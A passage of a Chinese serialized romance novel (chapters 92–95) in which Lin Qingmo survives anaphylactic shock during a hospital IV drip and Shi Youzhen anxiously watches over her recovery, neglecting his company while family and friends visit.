林清茉挥手想推开,距离刚好,抬手正巧就扇到施友臻脸上,力气不大,也不小,反正“啪”地一声,这声一出,俩人都怔住了。 清茉干烧得发晕,但是很清晰地骂了句:“活该。” 施友臻舌头顶了下自己被扇到的地方,没说什么,绕到驾驶室发动车子,清茉抓紧安全带,有种要被秋后算账的危机感,她想,实在不行就装晕吧,施友臻疯了,要吃人。 第92章 第九十二章 施友臻在车上打了通电话,…… 施友臻在车上打了通电话, 直接载着清茉去了融恒合作的医疗机构,路上开得飞快,清茉烧得实在难受, 闭着眼睛把额头抵在凉凉的车窗上,施友臻去拉她的手,清茉软绵的力道根本甩不开, 任由他握着揉捏。 车开到医院大厅门口,已经有医护人员等在那儿, 施友臻停下车, 绕过来开副驾驶的门, 伸手架着清茉的腋下, 把人抄起来面对面抱住, 轻松地跟抱小孩子似的,托着清茉往上颠了颠,让她把下巴踏实搁自己肩膀上。 少衡也会故意要牵手, 也会拥抱, 是暖烘烘的亲厚,但是到施友臻这里完全变成了黏腻腻的另外一种感觉, 清茉嗓子难受不想大声吵架, 荡着腿表示抗议, 施友臻闷不做声往里走,把人抱紧又往上颠了颠。 私立医院的VIP接待医生已经等候在诊室, 问诊期间清茉老老实实回答着医生的问话, 什么时候爬了雪山,什么时候泡了温泉,几点喝完冰咖啡几点又去吃了鱼生,施友臻在一旁越听脸色越沉, 清茉小声说着:“我感觉是肠胃感冒,但是嗓子也很疼,肿得厉害。” 医生瞧了瞧,像是急性扁桃体炎症,就先查了血项。施友臻蹲下,把清茉袜子往下褪了褪,一起会诊的医生过来检查脚踝,问着:“是怎么扭伤的?” 清茉后背发凉,回头看了眼施友臻,老实交代:“踩空崴到的。” 肯定是被施友臻用力握的,反正这会受伤的地方一丝一丝冒着疼,清茉想从手机里调出国外的诊疗记录给医生看,回头瞪施友臻,施友臻也瞪她,清茉摊出手掌,没好气儿要着:“我手机。”施友臻拿给她,清茉调出来国外的检查报告给大夫,大夫看完,施友臻拿回手机,在一旁也皱着眉头看完。 医生写单子的时候,清茉赶紧对着旁边的护士说着:“麻烦借给我一个轮椅吧。”护士小妹很快推过来,清茉松了一口气。像之前一样,施友臻在哪里,就是哪里的VIP,护士带着去了套房,清茉只想快点躺下,身上一阵阵发冷,恶心没力气。 等验血结果的时候,清茉已经在房间躺下了,她也确实没力气再熬着,检查结果出来,一看果然血项数值很高,大夫建议直接输液,消炎加退烧一起,先要做个皮试。 施友臻在刚才的问诊中听得明明白白,百分之百确定就是因为清茉自己不注意身体,冷冷热热加疲劳和流感季,多重原因叠加才导致现在的结果,还是那句话,就是该好好管教。他上手把清茉的外套脱掉,让她躺到床上等皮试结果,托着清茉手腕看了看,觉得皮试八成是不行。 医生过来看,皮试果然没通过,就给换了输液的药,还要稍等会,护士在准备。清茉安静躺着,施友臻坐在床边,知道她难受,给她捏着虎口合谷穴,又用指腹自太阳穴从下往上推到前额印堂,力道正好,清茉受用,几分好奇他从哪里学的手法。被他摁了一会,恶心感消退了些,施友臻摸摸她的脸颊,倒也没再得理不饶人批评她,说着:“是不是瘦了很多。” 清茉:“我想喝水。” 施友臻把她扶起来,让她靠在自己胸前,拧开瓶盖喂到嘴边,顺便低头亲了一下清茉的额头,清茉觉得自己像被施友臻当成了手办玩具,平日就打不过,这会更没力气反抗,被施友臻攥在手心里,想怎么揉捏怎么揉捏,只能拿胳膊肘软软地捣施友臻胸口,施友臻捉起她手腕亲了亲。 施友臻觉得林清茉像一颗甜腻腻的奶油草莓软糖,柔软白净,散发着暖烘烘的温度,手指不想从她身上离开,又捏了捏她脸颊薄肉,清茉被他扰得拉着小脸皱着眉,不开心又反抗不了的模样委屈可怜,反倒有了几分乖巧可爱的样子。清茉因为不舒服软绵绵继续靠在他胸口,身体挨着的地方热烘烘烫人。施友臻觉得自己此时此刻,既有肌肤饥渴症,也有分离焦虑症,搞不好未来还会发展成那什么成瘾。 护士配好药过来,施友臻终于放开清茉,让她躺下输液。护士小姐姐动作麻利地准备好输液吊瓶,八成以为他俩是蜜恋期喜欢黏在一起的情侣,宽慰着:“输液好的快,等打完点滴身上就会轻松很多,很快就会好,放宽心。” 输液针刺入皮肤,清茉把脸转到另一侧,短暂的刺疼之后,施友臻又摸了摸她额头,哄着:“好了,输上液身上能舒服些,睡会吧,睡醒了养足精神,继续去爬你的雪山泡你的温泉。” 清茉听着他的揶揄,白了他一眼。倒也没那么快就入睡,施友臻坐在一旁,看护着点滴,顺便审问几句清茉回国都干了什么,清茉想了想,觉得还是不要出卖少衡了,说着:“见了一只叫冬瓜的狗。” 讲完这句话,清茉突然感觉自己眼前发雾,施友臻在一旁讲着什么话,但是她听不真切,明明在耳边,却像在很遥远的地方,心跳好快,喘不动气,全身发麻,眼前越来越黑,像瞬间被拖进黑洞,一直往下掉,很恐怖的感觉,她觉得自己马上要被拖进另外一个世界去,呼吸不了,心跳如雷。 施友臻以为清茉是将要睡着,他似乎听到清茉很轻很轻地喊了一声“哥”,像睡前的叹息,低微得几乎不可闻,来不及捕捉就散在了空气中。 施友臻起身查看点滴速度,说着:“林清茉,喝口水再睡。” 施友臻低头看清茉的脸,发现她突然就脸色潮红,冷汗淋漓,那是一瞬间的反应,施友臻迅速将输液调节阀滚停,对在一旁的护士喊道:“过敏休克,快喊医生抢救。” 顷刻之间意外发生严重的过敏反应,导致林清茉呼吸心跳骤停,值班医生冲进来心肺复苏抢救,重复注射肾上腺素,吸氧,监测,补液,她的血压一度接近掉没了。 那是不堪回首的一夜。 施友臻站在抢救室外,他想,他做错了。 少衡接到电话连夜赶了过来,黑夜中的医院灯火通明,抢救室外的医院高层也聚集了一队人,都神经高度紧张地等待,毕竟如果出现意外,融恒的法务可以把他们告破产。如果出现意外。融恒的人也出现在了这里,章宁代替施友臻跟医院交涉。 施友臻自己一个人站在远离人群的地方。 少衡看着他哥,想着这世上原来根本不存在无坚不摧的人。 隔着抢救室的门,之前再浓郁的色彩,再强烈的感情,都会变得灰败。那些患得、患失、计较、渴望、焦虑、贪恋、YU望,都变得轻飘飘、灰蒙蒙茫然一片,以摧枯拉朽之势化为灰烬,落到虚空,彻底没了意义。 少衡走到他哥身边,也说不出什么话。 万幸施友臻及时发现关掉输液滚轮,也万幸当值医生处置迅速,总之,人抢救回来了。 经历抢救的林清茉,状态很差,虚弱地躺在那里,安静得无声无息。 章宁看施总和小施总都一言不发,心里叹口气,先把少衡叫到一边,将医院的情况汇报了一番,抬眼就看到少衡眼睛直勾勾的,不像听进脑子里的样子,就放弃了,也没去打扰施总,这种意外的冲击,人需要缓一缓。 抢救室出来的医生,将详细情况讲给施友臻,包括目前人是什么情况,未来可能出现什么情况,施友臻沉默着听完。 漫长煎熬的黑色终于过去,天边亮了晨光,少衡坐在医院走廊的长椅上,盯着窗外的泛白天色,开口问他哥:“哥,你说奔波着积攒再多财富,有什么用?” 施友臻仍旧没有讲话,他已经沉默了一整夜。 少衡叹口气,说着:“哥,你别这样,太渗人了。已经抢救回来了,茉茉没事。” 施友臻点头,终于开口,说着:“这件事,我会负责。” 少衡不知道他哥到底要负责什么,以及怎么负责,他也觉得疲惫,谁也没有错,谁也没有对。 少衡起身,说着:“哥,你留这边陪着,我回集团公司,这几天我盯着,你安心在这边陪茉茉吧。”说着拍了拍他哥的肩膀,他待在这里,觉得窒息。 少衡背对着他哥往外走的时候,心里难受至极,他哥是用什么样的心情,出事儿之后在第一时间喊他立刻赶过来,是怕真的出现意外,他会因为没有见上茉茉最后一面而遗憾吗? 他哥跟茉茉应该很长时间没有见面了。 他哥不如他,他跟清茉在主题乐园玩得很开心,拍了很多照片,前天还一起在温泉那里碰见,一起吃饭,一起跟冬瓜翻倒在雪地里打闹,他跟清茉总是会有更多的相聚时间,更多的快乐回忆,他哥没有。转折总是因为意外而发生,以后或许就不一样了。 章宁用最快的时间把集团最近的事务讲给少衡听,安排小夏回来协助少衡,少衡谢了章宁,也麻烦他照应着他哥跟茉茉。少衡走到停车场,站在晨光里回头看医院大楼,片刻后收回目光,开车驶向融恒集团的总部。 冬天的阳光总是珍贵,洒进屋子里,又留下明暗交界的分割线。施友臻坐在沙发上,等待她醒来,施友臻想,只要她醒过来,什么都听她的,只要把身体养好,什么都听她的,愿意走就走吧,急诊是他带着来的,事故的起因是他,现在有足够的理由给她弥补很多很多钱。 只要先把身体恢复好。 第93章 第九十三章 融恒集团上午有几个重要的…… 融恒集团上午有几个重要的会议, 已经提拔到业务部门的夏经理,一大早就来了总裁办,小孔主任正指挥着下属筹备会务, 热络地跟夏经理打招呼:“夏哥,今天有你们部门的议题吧。” 夏经理点头,传达着:“小施总临时代会, 各部门照常汇报。” 小孔主任刚开始没有在意,以为只是临时情况, 就该忙什么忙什么, 这种代会的情况以前也偶有发生, 小施总一般就是听着。谁知道一连三天施总都没有出现, 都是小施总坐镇, 夏经理传达,听说章宁也被抽调走了。施总没有出现,施总团队的核心人物各就各位, 牢牢监督着集团的日常运转, 有心人观察到这种情况开始各种猜测,小孔主任知道越是这种时候越是该稳住, 不多说不多问, 夏经理传达什么他就干什么, 除了核心的几位,没人知道施总去了哪儿, 在干什么。 叔伯家妯娌打听到施妈妈那里, 施妈妈在国外旅行,给老大打电话,无人接听,就给少衡打电话询问, 少衡说没事,他哥有点事儿要忙,施妈妈就没放心上。但是三天之后又三天,施友臻还是没出现,传来传去都惊动了施家爷爷,以为融恒要干什么隐秘的惊天大项目,施爷爷倒也没追着问,跟嚼舌头的人说着:“老大有数,这不无事发生嘛。” 但是施爷爷私底下还是隐秘地打探了一番,得知老大这几日一直在医院没出来,再多的事儿也探问不出来了,老人家心里当然不安,连夜就只带着司机悄悄赶到医院,在融恒平日里专用的楼层病房外,施爷爷瞧见了章宁。 章宁坐在走廊尽头的护士站里,护士台俨然成了他的临时办公桌,小施总和夏助会把重要的工作文件送过来,章宁整理筛选,分出来轻重缓急,见缝插针地跟施总说两句,施总一周没去公司,文件堆成小山。他听到电梯声音,警惕地抬头,瞧见是施爷爷,惊讶地立马站起来。 整个楼层就只有一个病房在使用,其他房间都空置,值班的医护人员在办公室,走廊上空荡荡极其安静,施爷爷拐杖点了点地面,严肃问着:“怎么回事?老大呢?”说着作势就要往里走,章宁赶紧拦住,犹豫了下,说着:“施董,您稍等,我先进去说一声。” 几分钟后,章宁面露难色地走出来,解释着:“施董,您别担心,住院的不是友臻,他在照顾朋友,他第一次照顾人,神经很紧绷,他性格您知道,这会儿谁也不想见,日后再跟您详细解释,他现在想自己待着,希望您谅解。” 施爷爷琢磨片刻,又点了点拐杖,说着:“稀奇,知道了,你们这样安保不行,我叫李叔从老宅子带几个人过来,在楼下待着,不打扰你们行吧?宁儿,跟爷爷说,是什么朋友啊?很危险的情况吗?” 章宁一本正经:“爷爷,我不能讲,不过已经好转了,您别担心。” 施爷爷嗯了一声,没再停留,只是又讲了句:“稀奇。”上心成这么反常的状态,可太稀奇了,老大是要长心了。 施爷爷离开后,章宁松口气,这几天施友臻谁都不见。一起工作这么久,章宁第一次见施友臻出现这种状态,一直高速运转的优秀大脑,拒绝接收和处理林清茉之外的任何信息,他把自己封闭在林清茉的那间病房中。 章宁以为,俩人的故事已经告一段落,没想到会激进地演变成这样。 也怪不得他,清茉抢救后恢复的很不理想,抢救时的用药造成很多问题,免疫系统遭受破坏,肺部又并发炎症,人瘦成了薄薄的一片,跟去年初识时活力青春的样子大相径庭,好在人已经醒了过来,那些担心的可怕情形没有发生,虽然缓慢,身体的各项数据都在好转。 刚才进去的时候,施总在喂清茉喝水,他端着水杯,将试好温度的水,一小勺一小勺地喂给清茉。清茉靠坐在床上,抿着喝了几口就摇摇头,施总哄着又喂了一小勺,听到章宁说施爷爷过来了,施友臻没说话,摇了摇头。 倒是清茉拽了拽施友臻的袖口,用很虚脱的声音小声说着:“是爷爷吗?你见吧。” 施友臻还是摇头,说着:“不想。” 清茉没再劝,章宁这才出去。 清茉知道施友臻被自己吓到了。 经过最难熬的几天,现在精神好了很多,不再动不动昏睡,这才有余力去察觉施友臻的异常,他竟然在病房里寸步不离,不管她睡着还是醒着,只要不是起身干别的,就一直握着没有打点滴的那只手,轻轻托在掌心里,眼睛就一直看着清茉,仿佛一个监视器。 清茉忍不住问他:“哥,你是不是,该去上班?” 施友臻摇头。 清茉觉得这样不行。 清茉讲话还是气短,看东西也眼花,注意力集中一会就恶心,闭上眼睛缓了一会,才继续虚弱地说着:“哥,你得跟六六说一声,还有我海外的导师,你得帮我拟个邮件。我手机呢?帮我看看谁找过我。” 施友臻不想分任何注意力给林清茉之外的事情,不理工作,不见人,但是可以给清茉打工。于是融恒的掌舵人施总,点开清茉手机浏览信息,扮演着尽职尽责的秘书角色,里面六六的信息最多,晓杨有几条,还有个叫“冬瓜爸爸”的,发来好多视频。 施友臻问:“冬瓜爸爸是谁?” 清茉:“闫峰,少衡朋友。是不是冬瓜视频?我看看。” 施友臻点开,把手机放到她眼前,清茉瞧着冬瓜在捣蛋,脸上带了笑,施友臻看着她,想起北欧城堡的那只,还有影集里的那只,问着:“这么喜欢,我们养一只?” 清茉是病了,不是傻了,瞥了一眼施友臻,说着:“冬瓜就很好,出院我找冬瓜玩。” 施友臻还想说什么,清茉眼睛一闭,很累的样子,施友臻就只能摸摸她的脸颊,哄着:“那明天试着多吃两口饭,养好了就带你去。” 少衡更晚的时候过来了,跟章宁打招呼,章宁把今儿的情况汇报了,说着:“施董不知道听了什么风声,晚上自己过来了一趟,里面那位连爷爷都不见。” 少衡见怪不怪,说着:“我说怎么在楼下碰见李叔了,我哥真是疯疯癫癫又一天,辛苦,我在这儿待会,章哥您去休息吧。” 少衡进去,看到他哥坐在床边,不看手机,不看文件,握着清茉的手,看着床上已经睡着的人。少衡过去检查了下点滴,说着:“哥,你这样挺渗人,咱差不多得了,茉茉开始恢复了,咱们正常点行吗?” 施友臻不排斥跟少衡多说几句,好像也确实需要有个能说话的人分担一下,说着:“她还是吃不进去饭。” 少衡:“医生不都说了不要着急嘛,今儿能喝水,明儿就能喝粥,后儿就能吃肉,总得有个过程。我听章哥说,爷爷晚上过来了?你都没出去见?爷爷怎么没冲进来揍你一顿。” 本来也没深睡,听着讲话的声音,清茉睁开眼睛,少衡趴过去,贴得很近,问着:“是不是睡了一天?睡颠倒了吧?茉儿?想我了吗?我哥是不是超级无聊,你把他赶回公司,我留下来陪你怎么样?” 清茉迷瞪着眼睛,但是赶紧点头。 少衡乐:“公司里的事儿他什么都不管了,累死我了,我本来都安排好去外地谈IP合作,这下都耽误了。对了冬瓜爸爸也想来看你,我让他周末来,可惜不能带冬瓜一起。” 少衡故意又对他哥说着:“哥,你记得闫峰吧,人家看上茉茉了,超喜欢,要正儿八经追求,他养的冬瓜跟茉茉可投缘了。” 清茉都听乐了,笑得咳嗽两声,施友臻重新去倒了水,把床头往上摇了摇,仔细喂给清茉,让她润润嗓子。清茉乖巧地就着他的手喝了,说着:“你上班去嘛,真的只是个意外,医生说我身体底子不错,下周差不多就可以出院了。” 施友臻不吭声,清茉推了推施友臻的手背,轻声说着:“你别在这里熬着了,哥……不是你的责任。” 施友臻安静的好脾气像是伪装,这会固执地否认清茉的话,说着:“是我的责任。” 少衡无语,清茉白了他一眼,说着:“反正这样不行,你下周工作日一定得回去上班,还要单独去趟爷爷家道歉,让少衡去忙他自己的项目,都别在这里耗着,我看着你们也烦,就这么定了。” 她讲了这么多,又觉得胸闷气短,少衡捣了下他哥,说着:“你听茉茉的。” 施友臻“嗯”了一声。 清茉喘了口气,继续说着:“反正,都别看太重,就是个小插曲,别放心上。” 施友臻盯着清茉,她是想轻轻揭过吗?那怎么可能,是刻在心口的伤,消退不掉的疤,他揭不过去的。 作者有话说:友友们,这章我轻轻揭过去了哈,明儿就让茉茉活蹦乱跳。 第94章 第九十四章 清茉没想到以这种方式错过…… 辗转飞回来, 在机场做出决定的心境还历历在目,没想到以这种方式错过六六的婚礼。清茉挨过最难受的几天,开始稳步恢复, 复盘这次经历,她自己也是心惊胆战,那种要被吞噬进另外一个世界的窒息绝望感, 恐惧难以言述。 跟六六通话请假,六六听她病了要来探望, 清茉轻描淡写说就是虚惊一场, 没同意。婚礼是人生大事, 六六该好好享受她的时刻。人请假不去, 红包该送到, 眼前能支使的人,就是天天在病房里游荡的施友臻。 清茉看他困在这间房子中忙忙叨叨,知道那天晚上实际受到创伤的是两个人, 就任由他爱干嘛干嘛。这个年纪, 身体心理都健康,很珍贵, 值得庆幸珍视, 她的身体在好转, 也希望施友臻缓一缓,不要被困住。 自从清茉慢慢恢复胃口, 施友臻开辟了新的业务, 不想惊动家里的人,就没找家里的家政团队,聘请了外面的大厨。他每天都跟营养科医生研究菜谱,又要滋养补气血, 又要清淡好吸收,拟完菜单给清茉看,清茉扫一眼没几样爱吃的,提出抗议,施友臻批评她小孩口味,在菜单里添了几样开胃小零食。 就这样,一会专心菜谱,一会专心检查报告,施友臻像个十足十的闲人,在清茉身边转来转去,清茉都忍不住给他安排点活儿。她要来自己手机,给施友臻转了一笔钱,说着:“哥,帮取成现金,准备个红包,能麻烦章哥去给六六送一趟吗?” 施友臻瞧着转钱的界面,觉得可太有意思了,点了接收,来了一句:“你还欠我别的钱。” 嗬,面对挑衅,那清茉可太会将军了,说着:“这么算的话,哥,我现在就出院,这儿我可住不起,医药费怎么算啊,我就那点卖房子的钱你又不是不知道,你看怎么还吧。”说着作势要掀被子。 施友臻完全战败,摁住被角,抄起清茉的手机,给她发了更大的红包,自己操作着点了接收,哄着:“是好好康复的奖励金,乖乖的吧。” 送礼金的事儿最终没有麻烦章宁,少衡直接过去了,婚礼相当热闹,六六的朋友不乏年轻靓丽的潮男潮女,婚礼办得像一场大型PARTY,少衡自然是主桌的VIP位置,离着舞台很近,六六跟老焦在台上进行仪式的时候,少衡给清茉打视频,让她看现场直播。 婚礼热闹的声音从手机中传来,清茉瞧着他们俩人互换戒指,说着彼此的誓言,誓言总是宏大,祝福也总是长远,很感人。清茉想起六六说的话,感情也是一种束缚,交换了戒指,就是甘愿放弃掉自由的一部分,走到这份羁绊中。 她心中一动,就问坐在她身边非要贴在一起看手机的施友臻:“哥,好看吗?” 施友臻不咸不淡地“嗯”了一声,清茉没摸到他的脉,施友臻来了一句:“当事人喜欢最重要。不过按照我的看法,婚礼是大事,这种规格办得很朴素。” 清茉饶是很知道施家在某些方面浮夸的一面,此时也相当无语,科普着:“这个婚礼场地超难定,得提前一年才行,六六的婚纱也是顶尖儿设计师的高定,怎么朴素了?你看看,舞台,现场装饰,都很用心啊,花艺师设计了十几稿呢,年轻新潮又热闹,多好。” 施友臻并不同意,低头看清茉的脖颈,伸手圈住,纤细一握,手下能感知到细腻的皮肤和跳动的脉搏,说着:“穿婚纱,必须要有隆重的珠宝。” 清茉:“……” 稍晚时候,章宁送进来一沓子册子,是最近一些珠宝类拍卖行的画册,还有几个高奢珠宝的册子。章宁乐呵呵递给清茉几本,清茉翻开一页,立刻又合上,敬而远之。 施友臻接过去,一页一页仔细研究,看得很有兴致,清茉正无语呢,少衡参加完婚礼回来了。 给清茉带了伴手礼,少衡坐在床边,剥开一块圆圆的牛奶巧克力球,直接填到清茉嘴巴里,说着:“来,吃喜糖沾沾喜气。”八卦着:“够热闹的,老焦前女友竟然也来了,这帮人也是心大,他前女友哭得梨花带雨,一直坐那儿哭,我都怕她突然冲台上,涵养还行,就自己哭,何苦啊。” 那确实万幸没出乱子,清茉问着:“你怎么知道的?” 少衡:“我去哪里都是焦点好吧,好几个美女缠着要我微信,为了搭讪什么都讲,我都做好预案了,要是老焦前女友要往上冲,我让那几个美女把人夹出去。” 清茉:“……那让你去,还是真对了,谢谢你哦。” 少衡:“您客气。” 八卦完,看他哥在研究拍卖册子,凑过去也跟着看了一眼,问着:“给妈买?算我入股行吗?我口头入股,哥你付款。”说完突然警惕地一顿,皱着眉头盯向清茉,清茉果断回话:“别看我,跟我没关系。” 施友臻没搭理他们。 清茉没回国的时候想过很多次六六结婚的情景,觉得参加六六婚礼搞不好会感动哭,现在没有亲临现场,只是听少衡讲,有种淡淡的距离感,并没有想象中的那么兴奋,反倒更在意施友臻手里的珠宝画册,想冲过去给他扬了。 躺了一周,顺带把脚踝也养了,清茉下地试着走了走,已经不疼了,施友臻不放心,硬是要医生再给做个核磁检查,看看韧带和肌肉的具体情况。周日又检查了一圈,各项指标恢复得不错,清茉也觉得身上松散了些,就跟施友臻商量下周安排。 商量得不顺利,清茉发现施友臻表现得像延迟进入了叛逆期。施友臻应该没有叛逆期,他的认知一直超前,聪慧早熟,很早就承担长子长孙的责任,成绩从来都在预期之上,他是来掌控的,不是来叛逆的。可是这两天,他脱离出原本的轨道,这也不行,那也不同意,怎么也说不动,结论就是不想上班,不想搭理人,不想处理工作,不想离开这间病房。 走出这间房子,回到原本的节奏中,才有益于身心健康。清茉酝酿了几天,观察到施友臻神态也逐渐平和下来,不像最开始那几天,神情紧张地一动不动坐在那里盯着她。清茉跟他讲了好几次,施友臻才慢吞吞表示同意,答应下周回公司上班。 但是他实在是太擅长谈判的混蛋,蹬鼻子上脸提出了新的条件,条件是清茉出院后,得好好养一段时间,而在修养的时间里,必须陪他上班,反正办公室有休息间,施友臻说得很直白:“至少这段时间,你离开我视线,我会很焦虑,出于对彼此健康负责任的态度,你不能离开我的视线。” 清茉:“……” 为了先送这位祖宗正常上班作息,清茉嗯嗯嗯胡乱应着。 周一上午,施友臻抵达融恒的时候,少衡,章宁,夏助,小孔,集体松了口气。 虽说当家三日狗也嫌,但是主心骨是刚需。 施友臻九点到公司会议室参加例会,会上各部门刚准备按照顺序照常汇报,施友臻打断:“不用放PPT,每个部门汇报限时五分钟,挑重点,说不完就别说了,办公室计时,开始吧。” 一起开会的少衡白眼翻上天,那他天天被各种会拖着折磨着练铁腚功算什么鬼。果然他哥十点钟准时结束会议,总共待了一个小时,散会去乘坐电梯,直接到地下车库。 少衡追在屁股后面也上了电梯,无语道:“不是,哥你不上班去哪儿?不是说好今天上班了吗?你不坐班难道还要我坐吗?我融恒置业那边还一堆事儿,你不能这样吧!哥!茉茉不是这么说的啊!” 施友臻不理,自己开上车,扬长而去。 清茉觉得自己缓过来了,就是肺炎还要再打几天消炎药,在屋子里无聊,打开电视找了个电视剧,正看得入迷,病房门被推开,施友臻竟然回来了。 清茉抬头看了看时间,八点半出发,十点半回来,加上来回路程,去上了两个小时的班!她疑惑问着:“哥,你不是去上班了吗?忘了拿东西吗?” 施友臻:“下班了。” 清茉:“……” 套房有两个卧室,施友臻这几天都睡在另外一间,因为担心林清茉的状态,基本也没沾床,就在清茉床边沙发上待着。他陪清茉看了两眼电视,起身去换了衣服,直接上了清茉的床,掀开被子躺了进去。 清茉一僵,问着:“干嘛?” 施友臻额头抵在清茉的腰侧,圈着她的腰,很明显地轻呼出一口气,放松了似的,说着:“开车犯困,我睡会。” 清茉把电视声音调小,也看不进去电视了,走神片刻再低头,发现他已经睡着了。 高大的人,占据了大半的床,占得踏踏实实,清茉把他圈住后腰的手臂搬出来,也轻轻躺下,枕着胳膊跟他脸对着脸。眉眼是熟悉的眉眼,又觉得陌生,总是回避他的目光,好像已经好久没有仔细看看他的模样了。 那么现在,该怎么办。 第95章 第九十五章 清茉做了一个梦,大概是真…… 清茉做了一个梦, 大概是真的喜欢北欧的下午时刻,梦中人烟稀少的街道笼罩在蓝调之中,寒冷冬季的夜幕即将降临, 街道上的房屋连起一片橘黄色的灯,橱窗中会有装饰漂亮的圣诞树,偶尔从开合的门缝中泄出当地的音乐。 在梦里的时候, 觉得是很长的梦,小镇怎么走都走不到尽头, 她朝着雪山的方向一直走, 想在山脚下寻找一处落脚地, 跋涉了很久, 都下起了雪, 是天气预报没有提前通知的一场大雪,走得很冷很疲惫的时候,窜出来一只眼熟的边牧, 兴奋地摇着尾巴扑清茉。 像城堡的那只, 也像冬瓜,也像小时候自己养过的那只。小时候搬走后家里的氛围紧张, 她不太懂究竟一夜之间发生了什么, 缠着家人问狗狗去了哪里, 结果被很严厉很疯狂地一通责骂,她仍旧不太懂这种让人绝望的态度变化意味着什么, 只知道不可以再问了。 少衡也很喜欢那只狗狗, 他俩昨天还在为狗狗起名字争执,都没定下来叫什么名字。这件事,变成了众多不可深究的梦魇之一,清茉想, 要是狗狗跑到少衡家就好了,少衡可以很好地照顾它,大哥应该会同意,大哥面冷心软,大哥会同意的。 梦里的狗狗在前面带路,穿过长长的林间,到了一处城堡,城堡中亮着辉煌的灯光,敦实石材垒建的高大城堡沉压压横在蓝光时刻将尽的沉沉暮色之中,厚重地像沉睡山间的巨兽。 狗狗领清茉进入了城堡,可是城堡中没有人,大厅中有巨大的石壁炉,正烧着熊熊烈火,烤得人脸颊发烫。一直在雪中走,清茉快冻僵了,靠近壁炉取暖,温暖让疲惫的她昏昏欲睡,突然间有人很用力地从身后抱住她,很明显是身形强健的男人,胳膊像用钢筋一样用强硬的力道扣住她,带着不容置疑的笃定将她拉进怀中。 清茉胡乱拼命挣扎间,梦就醒了,醒来瞧着眼下情形,就恍然开悟,梦里浮夸贵气的城堡,就是为了锁住她而凭空出现的海市蜃楼。 她陪施友臻躺着,结果自己也睡着了,然后就不知道从哪刻起,施友臻把她拖进了怀里,沉甸甸的胳膊横在她胸口,圈在胸前,又沉又热,像被填进了那个高大的石头壁炉。 身后男人的呼吸平稳,睡得超沉,窗外已经是傍晚霞光,疲惫到极致才让他睡成这样吧,他本是体力超好的高精力人群,清茉觉得自己可真是太出息了,能把他累成这德性。护士小姐姐轻手轻脚进来,给清茉量体温,隔着口罩也能看出护士笑而不语的样子,清茉也不好意思地笑笑,没敢挪动,怕惊扰他的沉睡。 清茉保持着一个姿势,身上都酸疼了,捞过手机玩着消消乐转移精力,被身后的他烘出一身薄汗,房门外护士推动仪器的声音终于让施友臻从睡眠中醒来,睁开眼睛看清楚眼前。林清茉蜷在他怀里,弓着身子贴合他的怀抱,暖融融乖巧地任他抱着,在静音打游戏。施友臻没动,就着这个姿势一直抱着她,看她一关消消乐打了三次都没通过。 他手臂使劲儿,更用力,把人更紧地往胸前压住,观察着清茉的反应,她大概是怕吵醒熟睡的人,迎合着施友臻,只是轻轻挪了挪腰,脑袋枕着施友臻的肩窝,放任身后的男人。 林清茉身子突然一僵,猛回头盯着施友臻。 都是回避不掉的正常反应,施友臻淡定地低头在她光洁后颈上轻轻亲了一下,掀开被子起床,直接去了旁边房间换衣服。 身后突然空了,空气温度骤降,清茉尴尬地轻咳,等施友臻衣冠楚楚换好衣服出来,清茉没话找话也得讲话,说着:“哥,嗯……你睡那么多晚上会不会睡不着。” 施友臻去喝了杯水,虽然他手机上有很多很多未读消息,很多很多未接来点,OA系统里也有很多很多待审批小红点提示,他都不想看,点都不点,琢磨了一会,说着:“可以找个电影一起看。你对电影应该更了解,可以推荐一下。” 清茉怕他跑到旁的话题上,赶紧抓着这个健康的,正常的话题继续道:“哥,我感觉不管是文艺电影还是商业电影,应该都挺难入你眼的,要不我推荐几个纪录片?客观记录人文历史的,应该没有硬伤。” 清茉搜出自己软件上的纪录片清单,发给施友臻,看他坐沙发上认真浏览,偷偷松口气,也下床喝水,想跟他一样喝凉的,刚握上水壶把手,施友臻已经飘过来一句话:“喝热水。” 清茉:“……” 施友臻接下来的这周都是这种节奏,上午外出两个小时上班,回来押着清茉研究圈定每日菜单以及珠宝册子,还让夏助理联系他平时穿的几个服装品牌女装部的经理们,收集了更多册子,时装的家居的,画册堆满了书桌。清茉觉得这都不是返祖回叛逆期了,这是直接回到了看画册的童年吧,小时候一直像早熟的小古板,该看画册的年纪没看,在这儿找补呢。 清茉觉得好笑,但是他有事儿干,总比没事干黏着琢磨她强,清茉就哄着他好好看,看他无聊就投喂几个纪录片,自己也抽空回回导师邮件,改改需要提交的论文。改文章的时候,施友臻也凑过来看,然后扫几眼就指出几处不地道的英文句子。 清茉干脆把电脑推给他,让他通读修正,免费劳动力,不用白不用。万万没想到,施友臻看完文章,突然问了一句:“如果参加跟国内共建的学术项目,在外面的时间应该不用特别长。” 清茉:“?哥,你说什么?” 施友臻:“没什么。” 清茉:“警告你可别瞎琢磨。” 施友臻:“嗯。” 清茉这周炎症也消得差不多了,周末的时候施友臻点头,允许清茉的朋友们过来看望,六六跟老焦拎着夸张的果篮抱着一捧巨大的百合花过来,花被施友臻拦下,放在了护士站章宁的桌子上,章宁乐呵呵闻着花香表示感谢。 六六进屋兴奋地跟机关枪一样讲她的婚礼趣事,万分感谢少衡去撑场子,眼尖的合作方有人认出是融恒的小施总,对六六态度那叫一个好,都想打听事儿,六六自己没提老焦白月光也参加婚礼的事儿,清茉也就装不知道。 六六来一阵风去一阵风,聊了一小会就拉着老焦走了,急匆匆地说要去谈项目,她走了之后,施友臻难得开口评价道:“她设计师男友,很有实力。” 施友臻不会在人背后评价是非,但是这句话明显讲地话里有话,清茉突然问了句:“我拍照的那套设计,我搜了搜后来没上市,是不是你买断了?” 施友臻没否认,清茉冷嘲热讽:“哦,那确实是设计师朋友更有实力,又卖给你设计,又卖给你房子,老焦哪儿有这么多心眼。” 施友臻被戳穿也非常淡定,说着:“不是这个意思,六六目前的作品,没有之前的系列优秀。” 清茉那天去六六店里参观的时候,也看出来了,这种事儿,在人家要结婚的档口,怎么可能点出来,再说六六也在转型,店铺做大之后,兼顾的市场也会改变,清茉不太懂市场上的事儿,就干脆别去给人家添堵。 这会儿被施友臻点出来,清茉说着:“哥,这没法兼顾的,世上哪有两全事儿,六六跟喜欢的人一起过日子才最重要。” 施友臻就没再评价。 清茉心里不踏实,又追问了一句:“还是说,你觉得老焦有问题?” 施友臻:“不太了解。” 清茉:“行吧。” 晚些时候,少衡带着闫峰也来了,闫峰一进门就冲着清茉热情地张开手臂,不愧是少衡的好朋友,拿腔拿调说着:“我亲爱的林小姐,请原谅我如此之晚才来探望。” 